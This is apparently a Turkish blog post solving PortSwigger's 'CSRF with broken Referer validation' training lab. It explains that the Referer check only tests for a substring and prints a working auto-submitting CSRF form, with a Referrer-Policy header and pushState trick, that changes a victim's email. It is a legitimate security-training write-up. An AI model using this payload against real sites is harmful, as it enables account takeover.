Çözüm - PortSwigger CSRF with broken Referer validation - ( Lab 8 )

Nuri Yavuz
Dec 23, 2021

--

PortSwigger’ın 8. CSRF labının çözümünü sizlerle paylaşacağım , bu ve bütün çözümleri detaylı olarak türkçe anlatımları ile burada bulabileceksiniz.

Referer headerı CSRF ataklarına karşı test edelim ;

1.) referer header ı kaldıralım

2.) backend , referer header’ın hangi kısımlarını kontrol ediyor test edelim

Bu challenge’da domain’in tamamı kontrol edilmiyor ( yani “exact domain does not get checked” ) , sadece referer header’da bulunan adres , istenen domain’i içeriyor mu (yani contain ediyor mu ) bunun kontrolü var.By-pass yapılabilir bu.

Bu bağlamdaki payload ;

Head

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Referrer-Policy: unsafe-url

Body

Head Kısmına eklemeyi unutma ! =>   Referrer-Policy: unsafe-url<script>
history.pushState("", "", "/?randomnumber.web-security-academy.net")
</script>
<form action="<https://randomnumber.web-security-academy.net/my-account/change-email>" method="POST">
<input type="hidden" name="email" value="aaaaaaaaaa@aaaaaaaaa" />
</form>
<script>
document.forms[0].submit();
</script>

--

--

Nuri Yavuz
Nuri Yavuz

Written by Nuri Yavuz

“No effect is before the cause” in the same time “Cause doesn’t necessarily come before effect”

No responses yet